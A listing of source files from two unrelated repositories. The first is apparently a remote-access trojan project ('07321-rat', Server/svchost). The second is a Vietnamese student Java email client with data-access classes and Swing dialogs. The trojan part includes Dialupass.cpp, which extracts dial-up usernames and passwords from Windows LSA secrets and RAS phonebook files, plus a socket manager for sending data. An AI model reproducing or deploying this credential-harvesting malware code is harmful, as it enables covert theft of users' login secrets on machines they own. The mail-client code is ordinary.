m_PassWords[m_nUsed].used=false;
m_nUsed++;
break;
}
ZeroMemory(PswStr,256);
TXT=0;
}
else
{
PswStr[TXT]=chr;
TXT++;
}
if(SpacePos==9)SpacePos=0;
}
}
///////////
void CDialupass::GetLsaPasswords()
{
PLSA_UNICODE_STRING PrivateData;
char Win2k[]="RasDialParams!%s#0";
char WinXP[]="L$_RasDefaultCredentials#0";
char temp[256];
wsprintf(temp,Win2k,GetLocalSid());
PrivateData=GetLsaData(temp);
if(PrivateData!=NULL)
{
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
LsaFreeMemory(PrivateData->Buffer);
}
PrivateData=GetLsaData(WinXP);
if(PrivateData!=NULL)
{
ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
LsaFreeMemory(PrivateData->Buffer);
}
}
bool CDialupass::GetRasEntries()
{
int nCount = 0;
char *lpPhoneBook[2];
char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
lstrcat(szPhoneBook1, m_lpCurrentUser);
lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
lpPhoneBook[0] = szPhoneBook1;
lpPhoneBook[1] = szPhoneBook2;
OSVERSIONINFO osi;
osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&osi);
if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
{
GetLsaPasswords();
}
DWORD nSize = 1024 * 4;
char *lpszReturnBuffer = new char[nSize];
for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
{
memset(lpszReturnBuffer, 0, nSize);
GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
{
char *lpRealSection = (char *)UTF8ToGB2312(lpSection);
char strDialParamsUID[256];
char strUserName[256];
char strPassWord[256];
char strPhoneNumber[256];
char strDevice[256];
memset(strDialParamsUID, 0, sizeof(strDialParamsUID));
memset(strUserName, 0, sizeof(strUserName));
memset(strPassWord, 0, sizeof(strPassWord));
memset(strPhoneNumber, 0, sizeof(strPhoneNumber));
memset(strDevice, 0, sizeof(strDevice));
int nBufferLen = GetPrivateProfileString(lpSection, "DialParamsUID", 0,
strDialParamsUID, sizeof(strDialParamsUID), lpPhoneBook[i]);
if (nBufferLen > 0)//DialParamsUID=4326020 198064
{
for(int j=0; j< (int)m_nRasCount; j++)
{
if(lstrcmp(strDialParamsUID, m_PassWords[j].UID)==0)
{
lstrcpy(strUserName, m_PassWords[j].login);
lstrcpy(strPassWord, m_PassWords[j].pass);
m_PassWords[j].used=true;
m_nUsed++;
break;
}
}
}
GetPrivateProfileString(lpSection, "PhoneNumber", 0,
strPhoneNumber, sizeof(strDialParamsUID), lpPhoneBook[i]);
GetPrivateProfileString(lpSection, "Device", 0,
strDevice, sizeof(strDialParamsUID), lpPhoneBook[i]);
char *lpRealDevice = (char *)UTF8ToGB2312(strDevice);
char *lpRealUserName = (char *)UTF8ToGB2312(strUserName);
Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord,
strPhoneNumber, lpRealDevice);
delete lpRealSection;
delete lpRealUserName;
delete lpRealDevice;
}
}
delete lpszReturnBuffer;
return true;
}
BOOL CDialupass::Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device)
{
for(int i=0; i<m_nMax; i++){
if(0==strcmp(OneInfo[i]->Get(STR_DialParamsUID), DialParamsUID)){
if(Name!=NULL)
OneInfo[i]->Set(STR_Name,Name);
if(User!=NULL)
OneInfo[i]->Set(STR_User,User);
if(Password!=NULL)
OneInfo[i]->Set(STR_Password,Password);
if(PhoneNumber!=NULL)
OneInfo[i]->Set(STR_PhoneNumber,PhoneNumber);
if(Device!=NULL)
OneInfo[i]->Set(STR_Device, Device);
return TRUE;
}
}
if(m_nMax < m_nRasCount){
OneInfo[m_nMax] = new COneInfo;
OneInfo[m_nMax]->Set(STR_DialParamsUID,DialParamsUID);
OneInfo[m_nMax]->Set(STR_Name,Name);
OneInfo[m_nMax]->Set(STR_User,User);
OneInfo[m_nMax]->Set(STR_Password,Password);
OneInfo[m_nMax]->Set(STR_PhoneNumber,PhoneNumber);
OneInfo[m_nMax]->Set(STR_Device,Device);
m_nMax ++;
return TRUE;
}
return false;
}
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
{
if (UTF8Str == NULL || lstrlen(UTF8Str) == 0)
return "";
int nStrLen = lstrlen(UTF8Str) * 2;
char *lpWideCharStr = new char[nStrLen];
char *lpMultiByteStr = new char[nStrLen];
MultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
WideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);
delete lpWideCharStr;
return lpMultiByteStr;
}
| 07321-rat | trunk/Server/svchost/common/Dialupass.cpp | C++ | asf20 | 9,262 |
// Manager.cpp: implementation of the CManager class.
//
//////////////////////////////////////////////////////////////////////
#include "Manager.h"
#include "until.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CManager::CManager(CClientSocket *pClient)
{
m_pClient = pClient;
m_pClient->setManagerCallBack(this);
}
void CManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
}
int CManager::Send(LPBYTE lpData, UINT nSize)
{
int nRet = 0;
try
{
nRet = m_pClient->Send((LPBYTE)lpData, nSize);
}catch(...){};
return nRet;
}
| 07321-rat | trunk/Server/svchost/common/Manager.cpp | C++ | asf20 | 691 |
// stdafx.cpp : source file that includes just the standard includes
// svchost.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
| 07321-rat | trunk/Server/svchost/StdAfx.cpp | C++ | asf20 | 294 |
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
//
#if !defined(AFX_STDAFX_H__A9DB83DB_A9FD_11D0_BFD1_444553540000__INCLUDED_)
#define AFX_STDAFX_H__A9DB83DB_A9FD_11D0_BFD1_444553540000__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
#include <windows.h>
// TODO: reference additional headers your program requires here
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
#endif // !defined(AFX_STDAFX_H__A9DB83DB_A9FD_11D0_BFD1_444553540000__INCLUDED_)
| 07321-rat | trunk/Server/install/StdAfx.h | C | asf20 | 771 |
// stdafx.cpp : source file that includes just the standard includes
// install.pch will be the pre-compiled header
// stdafx.obj will contain the pre-compiled type information
#include "stdafx.h"
// TODO: reference any additional headers you need in STDAFX.H
// and not in this file
| 07321-rat | trunk/Server/install/StdAfx.cpp | C++ | asf20 | 294 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package BUS;
import DAO.MyAttachDAO;
import DTO.MyAttachDTO;
import java.io.IOException;
import java.sql.SQLException;
import java.util.ArrayList;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyAttachBUS {
private MyAttachDAO myAttactDAO = new MyAttachDAO();
public ArrayList<MyAttachDTO> layTatCaAttachCuaMailID (int MailID)throws IOException, SQLException{
return myAttactDAO.layTatCaAttachCuaMailID(MailID);
}
public ArrayList<MyAttachDTO> layTatCaAttach () throws IOException, SQLException{
return myAttactDAO.layTatCaAttach();
}
public int themAttach (MyAttachDTO myAttachDTO) throws IOException{
return myAttactDAO.themAttach(myAttachDTO);
}
public int xoaAttach(MyAttachDTO attachDTO) throws IOException{
return myAttactDAO.xoaAttach(attachDTO);
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/BUS/MyAttachBUS.java | Java | asf20 | 941 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package BUS;
import DAO.MyMailDAO;
import DTO.MyMailDTO;
import doanlythuyet_javaoutlook.MyEmum.JEnum_TinhTrang;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Hashtable;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyMailBUS {
private MyMailDAO m_MailDAO = new MyMailDAO();
public ArrayList<MyMailDTO> layTatCaMail () throws IOException{
return m_MailDAO.layTatCaMail();
}
public int themMail (MyMailDTO mailDTO) throws IOException{
return m_MailDAO.themMail(mailDTO);
}
public int xoaMail(MyMailDTO mailDTO) throws IOException{
return m_MailDAO.xoaMail(mailDTO);
}
public ArrayList<MyMailDTO> layTatCaMailVoiDieuKien (String duongDan, Hashtable<String, String> cacDieuKien) throws IOException{
return m_MailDAO.layTatCaMailVoiDieuKien(duongDan, cacDieuKien);
}
public int capNhatMail (MyMailDTO mailDTO) throws IOException{
return m_MailDAO.capNhatMail(mailDTO);
}
public int thayDoiDuongDanThuMuc (String mailId, String thuMucDich) throws IOException{
int soMailCapNhat = 0;
Hashtable<String, String> cacDieuKien = new Hashtable<String, String>();
cacDieuKien.put("Id", mailId);
ArrayList<MyMailDTO> cacMailDTO = layTatCaMailVoiDieuKien(mailId, cacDieuKien);
if (cacMailDTO.size() > 0){
cacMailDTO.get(0).setM_DuongDanThuMuc(thuMucDich);
soMailCapNhat = capNhatMail(cacMailDTO.get(0));
}
return soMailCapNhat;
}
public int xoaMail (String mailId) throws IOException{
int soMailCapNhat = 0;
MyMailDTO mailDTO = layMailVoidMailID(mailId);
if (mailDTO != null){
if (mailDTO.getM_DuongDanThuMuc().equals("Mails\\RecycleBins\\"))
mailDTO.setM_TinhTrang(JEnum_TinhTrang.DaXoa.value());
else
mailDTO.setM_DuongDanThuMuc("Mails\\RecycleBins\\");
soMailCapNhat = capNhatMail(mailDTO);
}
return soMailCapNhat;
}
public int thayDoiTinhTrangMail (String mailId, JEnum_TinhTrang tinhTrangMoi) throws IOException{
int soMailCapNhat = 0;
Hashtable<String, String> cacDieuKien = new Hashtable<String, String>();
cacDieuKien.put("Id", mailId);
ArrayList<MyMailDTO> cacMailDTO = layTatCaMailVoiDieuKien(mailId, cacDieuKien);
if (cacMailDTO.size() > 0){
cacMailDTO.get(0).setM_DuongDanThuMuc(String.valueOf(tinhTrangMoi.value()));
soMailCapNhat = capNhatMail(cacMailDTO.get(0));
}
return soMailCapNhat;
}
public MyMailDTO layMailVoidMailID(String mailId) throws IOException {
Hashtable<String, String> cacDieuKien = new Hashtable<String, String>();
cacDieuKien.put("Id", mailId);
ArrayList<MyMailDTO> cacMailDTO = layTatCaMailVoiDieuKien(mailId, cacDieuKien);
if (cacMailDTO.size() > 0)
return cacMailDTO.get(0);
return null;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/BUS/MyMailBUS.java | Java | asf20 | 3,177 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package BUS;
import DAO.MyContactDAO;
import DTO.MyContactDTO;
import java.io.IOException;
import java.sql.SQLException;
import java.util.ArrayList;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyContactBUS {
private MyContactDAO contactDAO = new MyContactDAO();
public ArrayList<MyContactDTO> layTatCaContact () throws SQLException, IOException{
return contactDAO.layTatCaContact();
}
public MyContactDTO layTatCaContactBangID (String Id) throws SQLException, IOException{
return (contactDAO.layTatCaContactBangID(Id)).get(0);
}
public int themContact (MyContactDTO contactDTO) throws IOException{
return contactDAO.themContact(contactDTO);
}
public MyContactDTO layTatCaContactBangID (int Id) throws SQLException, IOException{
return (contactDAO.layTatCaContactBangID(String.valueOf(Id))).get(0);
}
public int xoaContact(int contactId) throws IOException{
return contactDAO.xoaContact(contactId);
}
public int capNhatContact (MyContactDTO contactDTO) throws IOException{
return contactDAO.capNhatContact(contactDTO);
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/BUS/MyContactBUS.java | Java | asf20 | 1,238 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package DTO;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyContactDTO {
private int m_Id;
private String m_Ten;
private String m_CongTy;
private String m_Hinh;
private String m_Email;
private String m_DienThoai;
private String m_NickName;
private String m_DiaChi;
public MyContactDTO(){}
public MyContactDTO(int id, String ten, String congty,
String hinh, String email, String dienthoai,String nickname, String diachi){
m_Id = id;
m_Ten = ten;
m_CongTy = congty;
m_Hinh = hinh;
m_Email = email;
m_DienThoai = dienthoai;
m_NickName = nickname;
m_DiaChi = diachi;
}
/**
* @return the m_Id
*/
public int getM_Id() {
return m_Id;
}
/**
* @param m_Id the m_Id to set
*/
public void setM_Id(int m_Id) {
this.m_Id = m_Id;
}
/**
* @return the m_Ten
*/
public String getM_Ten() {
return m_Ten;
}
/**
* @param m_Ten the m_Ten to set
*/
public void setM_Ten(String m_Ten) {
this.m_Ten = m_Ten;
}
/**
* @return the m_CongTy
*/
public String getM_CongTy() {
return m_CongTy;
}
/**
* @param m_CongTy the m_CongTy to set
*/
public void setM_CongTy(String m_CongTy) {
this.m_CongTy = m_CongTy;
}
/**
* @return the m_Hinh
*/
public String getM_Hinh() {
return m_Hinh;
}
/**
* @param m_Hinh the m_Hinh to set
*/
public void setM_Hinh(String m_Hinh) {
this.m_Hinh = m_Hinh;
}
/**
* @return the m_Email
*/
public String getM_Email() {
return m_Email;
}
/**
* @param m_Email the m_Email to set
*/
public void setM_Email(String m_Email) {
this.m_Email = m_Email;
}
/**
* @return the m_DienThoai
*/
public String getM_DienThoai() {
return m_DienThoai;
}
/**
* @param m_DienThoai the m_DienThoai to set
*/
public void setM_DienThoai(String m_DienThoai) {
this.m_DienThoai = m_DienThoai;
}
/**
* @return the m_NickName
*/
public String getM_NickName() {
return m_NickName;
}
/**
* @param m_NickName the m_NickName to set
*/
public void setM_NickName(String m_NickName) {
this.m_NickName = m_NickName;
}
/**
* @return the m_DiaChi
*/
public String getM_DiaChi() {
return m_DiaChi;
}
/**
* @param m_DiaChi the m_DiaChi to set
*/
public void setM_DiaChi(String m_DiaChi) {
this.m_DiaChi = m_DiaChi;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/DTO/MyContactDTO.java | Java | asf20 | 2,806 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package DTO;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyAttachDTO {
private int m_Id;
private int m_IdMail;
private String m_DuongDan;
private String m_TenFile;
public MyAttachDTO(){}
public MyAttachDTO(int id, int idMail, String duongdan, String tenfile){
m_Id = id;
m_IdMail = idMail;
m_DuongDan = duongdan;
m_TenFile = tenfile;
}
/**
* @return the m_Id
*/
public int getM_Id() {
return m_Id;
}
/**
* @param m_Id the m_Id to set
*/
public void setM_Id(int m_Id) {
this.m_Id = m_Id;
}
/**
* @return the m_IdMail
*/
public int getM_IdMail() {
return m_IdMail;
}
/**
* @return the m_ĐuongDan
*/
public String getM_DuongDan() {
return m_DuongDan;
}
/**
* @return the m_TenFile
*/
public String getM_TenFile() {
return m_TenFile;
}
/**
* @param m_TenFile the m_TenFile to set
*/
public void setM_TenFile(String m_TenFile) {
this.m_TenFile = m_TenFile;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/DTO/MyAttachDTO.java | Java | asf20 | 1,219 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package DTO;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.mail.Address;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.internet.MimeMessage;
/**
*
* @author Dang Thi Phuong Thao
*/
public class MyMailDTO {
private int m_Id = 0;
private String m_ChuDe = "";
private String m_NguoiGoi = "";
private String m_NguoiNhan = "";
private int m_MucDo = 0;
private int m_TinhTrang = 0;
private String m_CC = "";
private String m_BCC = "";
private Date m_Ngay = new Date();
private String m_DuongDanThuMuc = "";
private String m_DuongDanFileChuaNoiDung = "";
public MyMailDTO(){}
public MyMailDTO(MimeMessage mess){
try {
m_ChuDe = mess.getSubject();
m_NguoiGoi = mess.getFrom()[0].toString();
Address adds[] = mess.getRecipients(Message.RecipientType.TO);
for (int i = 0; i < adds.length; i++) {
m_NguoiNhan += adds[i].toString() + ",";
}
//m_MucDo = mess.get;
//m_TinhTrang = mess.getFlags().;
if(mess.getRecipients(Message.RecipientType.CC) != null){
adds = mess.getRecipients(Message.RecipientType.CC);
for (int i = 0; i < adds.length; i++) {
m_CC += adds[i].toString();
}
}
adds = mess.getRecipients(Message.RecipientType.BCC);
if (adds != null){
for (int i = 0; i < adds.length; i++) {
m_BCC += adds[i].toString();
}
}
m_Ngay = mess.getSentDate();
//m_TinhTrang = mess.getFlags().getSystemFlags()[0].
//m_DuongDanThuMuc = DuongDanThuMuc;
//m_DuongDanFileChuaNoiDung = DuongDanFileChuaNoiDung;
} catch (MessagingException ex) {
Logger.getLogger(MyMailDTO.class.getName()).log(Level.SEVERE, null, ex);
}
}
public MyMailDTO(int Id, String ChuDe, String NguoiGoi, String NguoiNhan, int MucDo, int TinhTrang,
String CC, String BCC, Date Ngay, String DuongDanThuMuc, String DuongDanFileChuaNoiDung ){
m_Id = Id;
m_ChuDe = ChuDe;
m_NguoiGoi = NguoiGoi;
m_NguoiNhan = NguoiNhan;
m_MucDo = MucDo;
m_TinhTrang = TinhTrang;
m_CC = CC;
m_BCC = BCC;
m_Ngay = Ngay;
m_DuongDanThuMuc = DuongDanThuMuc;
m_DuongDanFileChuaNoiDung = DuongDanFileChuaNoiDung;
}
/**
* @return the m_Id
*/
public int getM_Id() {
return m_Id;
}
/**
* @param m_Id the m_Id to set
*/
public void setM_Id(int m_Id) {
this.m_Id = m_Id;
}
/**
* @return the m_ChuDe
*/
public String getM_ChuDe() {
return m_ChuDe;
}
/**
* @param m_ChuDe the m_ChuDe to set
*/
public void setM_ChuDe(String m_ChuDe) {
this.m_ChuDe = m_ChuDe;
}
/**
* @return the m_NguoiGoi
*/
public String getM_NguoiGoi() {
return m_NguoiGoi;
}
/**
* @param m_NguoiGoi the m_NguoiGoi to set
*/
public void setM_NguoiGoi(String m_NguoiGoi) {
this.m_NguoiGoi = m_NguoiGoi;
}
/**
* @return the m_NguoiNhan
*/
public String getM_NguoiNhan() {
return m_NguoiNhan;
}
/**
* @param m_NguoiNhan the m_NguoiNhan to set
*/
public void setM_NguoiNhan(String m_NguoiNhan) {
this.m_NguoiNhan = m_NguoiNhan;
}
/**
* @return the m_MucDo
*/
public int getM_MucDo() {
return m_MucDo;
}
/**
* @param m_MucDo the m_MucDo to set
*/
public void setM_MucDo(int m_MucDo) {
this.m_MucDo = m_MucDo;
}
/**
* @return the m_TinhTrang
*/
public int getM_TinhTrang() {
return m_TinhTrang;
}
/**
* @param m_TinhTrang the m_TinhTrang to set
*/
public void setM_TinhTrang(int m_TinhTrang) {
this.m_TinhTrang = m_TinhTrang;
}
/**
* @return the m_CC
*/
public String getM_CC() {
return m_CC;
}
/**
* @param m_CC the m_CC to set
*/
public void setM_CC(String m_CC) {
this.m_CC = m_CC;
}
/**
* @return the m_BCC
*/
public String getM_BCC() {
return m_BCC;
}
/**
* @param m_BCC the m_BCC to set
*/
public void setM_BCC(String m_BCC) {
this.m_BCC = m_BCC;
}
/**
* @return the m_Ngay
*/
public Date getM_Ngay() {
return m_Ngay;
}
/**
* @param m_Ngay the m_Ngay to set
*/
public void setM_Ngay(Date m_Ngay) {
this.m_Ngay = m_Ngay;
}
/**
* @return the m_DuongDanThuMuc
*/
public String getM_DuongDanThuMuc() {
return m_DuongDanThuMuc;
}
/**
* @param m_DuongDanThuMuc the m_DuongDanThuMuc to set
*/
public void setM_DuongDanThuMuc(String m_DuongDanThuMuc) {
this.m_DuongDanThuMuc = m_DuongDanThuMuc;
}
/**
* @return the m_DuongDanFileChuaNoiDung
*/
public String getM_DuongDanFileChuaNoiDung() {
return m_DuongDanFileChuaNoiDung;
}
/**
* @param m_DuongDanFileChuaNoiDung the m_DuongDanFileChuaNoiDung to set
*/
public void setM_DuongDanFileChuaNoiDung(String m_DuongDanFileChuaNoiDung) {
this.m_DuongDanFileChuaNoiDung = m_DuongDanFileChuaNoiDung;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/DTO/MyMailDTO.java | Java | asf20 | 5,633 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package DTO;
/**
*
* @author Administrator
*/
public class FolderVaSoMailChuaDoc {
private String m_DuongDan;
private int m_SoMail;
public FolderVaSoMailChuaDoc(){
m_DuongDan = "";
m_SoMail = 0;
}
/**
* @return the m_DuongDan
*/
public String getM_DuongDan() {
return m_DuongDan;
}
/**
* @param m_DuongDan the m_DuongDan to set
*/
public void setM_DuongDan(String m_DuongDan) {
this.m_DuongDan = m_DuongDan;
}
/**
* @return the m_SoMail
*/
public int getM_SoMail() {
return m_SoMail;
}
/**
* @param m_SoMail the m_SoMail to set
*/
public void setM_SoMail(int m_SoMail) {
this.m_SoMail = m_SoMail;
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/DTO/FolderVaSoMailChuaDoc.java | Java | asf20 | 862 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JDialog_NhapTenThuMuc.java
*
* Created on 17-06-2009, 13:44:59
*/
package doanlythuyet_javaoutlook.MyUserControl;
import javax.swing.JOptionPane;
/**
*
* @author ShineShiao
*/
public class JDialog_NhapTenThuMuc extends javax.swing.JDialog {
private String m_TenThuMuc = "";
/** Creates new form JDialog_NhapTenThuMuc */
public JDialog_NhapTenThuMuc(java.awt.Frame parent, boolean modal) {
super(parent, modal);
initComponents();
}
public String getTenThuMuc(){
return m_TenThuMuc;
}
JDialog_NhapTenThuMuc() {
throw new UnsupportedOperationException("Not yet implemented");
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jLabel1 = new javax.swing.JLabel();
jTextField_TenThuMuc = new javax.swing.JTextField();
jButton_Chon = new javax.swing.JButton();
jButton_HuyBo = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE);
setName("Form"); // NOI18N
org.jdesktop.application.ResourceMap resourceMap = org.jdesktop.application.Application.getInstance(doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp.class).getContext().getResourceMap(JDialog_NhapTenThuMuc.class);
jLabel1.setText(resourceMap.getString("jLabel1.text")); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jTextField_TenThuMuc.setText(resourceMap.getString("jTextField_TenThuMuc.text")); // NOI18N
jTextField_TenThuMuc.setName("jTextField_TenThuMuc"); // NOI18N
jButton_Chon.setText(resourceMap.getString("jButton_Chon.text")); // NOI18N
jButton_Chon.setName("jButton_Chon"); // NOI18N
jButton_Chon.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_ChonActionPerformed(evt);
}
});
jButton_HuyBo.setText(resourceMap.getString("jButton_HuyBo.text")); // NOI18N
jButton_HuyBo.setName("jButton_HuyBo"); // NOI18N
jButton_HuyBo.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton_HuyBoActionPerformed(evt);
}
});
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addGroup(layout.createSequentialGroup()
.addComponent(jButton_HuyBo)
.addGap(18, 18, 18)
.addComponent(jButton_Chon))
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addGap(18, 18, 18)
.addComponent(jTextField_TenThuMuc, javax.swing.GroupLayout.PREFERRED_SIZE, 289, javax.swing.GroupLayout.PREFERRED_SIZE)))
.addContainerGap(26, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(52, 52, 52)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jTextField_TenThuMuc, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jButton_Chon)
.addComponent(jButton_HuyBo))
.addContainerGap(32, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void jButton_ChonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_ChonActionPerformed
// TODO add your handling code here:
if(jTextField_TenThuMuc.getText().equals("")){
JOptionPane.showMessageDialog(null, "Phải nhập tên thư mục !!!" );
System.exit(0);
}
else{
m_TenThuMuc= jTextField_TenThuMuc.getText();
this.dispose();
}
}//GEN-LAST:event_jButton_ChonActionPerformed
private void jButton_HuyBoActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_jButton_HuyBoActionPerformed
// TODO add your handling code here:
System.exit(0);
}//GEN-LAST:event_jButton_HuyBoActionPerformed
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
JDialog_NhapTenThuMuc dialog = new JDialog_NhapTenThuMuc(new javax.swing.JFrame(), true);
dialog.addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent e) {
System.exit(0);
}
});
dialog.setVisible(true);
}
});
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton jButton_Chon;
private javax.swing.JButton jButton_HuyBo;
private javax.swing.JLabel jLabel1;
private javax.swing.JTextField jTextField_TenThuMuc;
// End of variables declaration//GEN-END:variables
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/src/doanlythuyet_javaoutlook/MyUserControl/JDialog_NhapTenThuMuc.java | Java | asf20 | 6,314 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
/*
* JFrame_Contact.java
*
* Created on 16-06-2009, 16:46:33
*/
package doanlythuyet_javaoutlook.MyUserControl;
import BUS.MyContactBUS;
import DTO.MyAttachDTO;
import DTO.MyContactDTO;
import doanlythuyet_javaoutlook.DoAnLyThuyet_JavaOutLookApp;
import doanlythuyet_javaoutlook.EventListener_ClickChuotVaoCayDuyetFile;
import java.awt.FlowLayout;
import java.awt.GridLayout;
import java.awt.Image;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Date;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.filechooser.FileNameExtensionFilter;
/**
*
* @author ShineShiao
*/
public class JFrame_Contact extends javax.swing.JFrame {
private ArrayList<String> cacMailDangChon;
public void duaDTOLenHienThiChiTiet(MyContactDTO contactDTO){
jTextField_Address.setText(contactDTO.getM_DiaChi());
jTextField_Company.setText(contactDTO.getM_CongTy());
jTextField_Email.setText(contactDTO.getM_Email());
jTextField_Fullname.setText(contactDTO.getM_Ten());
jTextField_NickName.setText(contactDTO.getM_NickName());
jTextField_PhoneNumber.setText(contactDTO.getM_DiaChi());
//jTextField_Address.setText(contactDTO.getM_DiaChi());
String imDir = DoAnLyThuyet_JavaOutLookApp.getCurdir() + contactDTO.getM_Hinh();
loadAnhLenFrame(imDir);
}
private jTable_HienThiContact conClass_Table = new jTable_HienThiContact();
private void initMyComponents() throws IOException, SQLException{
//conClass_Table.DuaDanhSachMailVaoBang(new ArrayList<MyContactDTO>(0));
jScrollPane1.setViewportView(conClass_Table);
conClass_Table.refreshBang();
conClass_Table.addEventListener_ClickChuotVaoCayDuyetFile(new EventListener_ClickChuotVaoCayDuyetFile() {
public void Event_ClickChuotVaoCayDuyetFile_Occurred(String str_fileduocchon) {
try {
//throw new UnsupportedOperationException("Not supported yet.");
//JOptionPane.showMessageDialog(null, str_fileduocchon);
duaDTOLenHienThiChiTiet(new MyContactBUS().layTatCaContactBangID(str_fileduocchon));
jButton_Luu.setToolTipText(str_fileduocchon);
} catch (SQLException ex) {
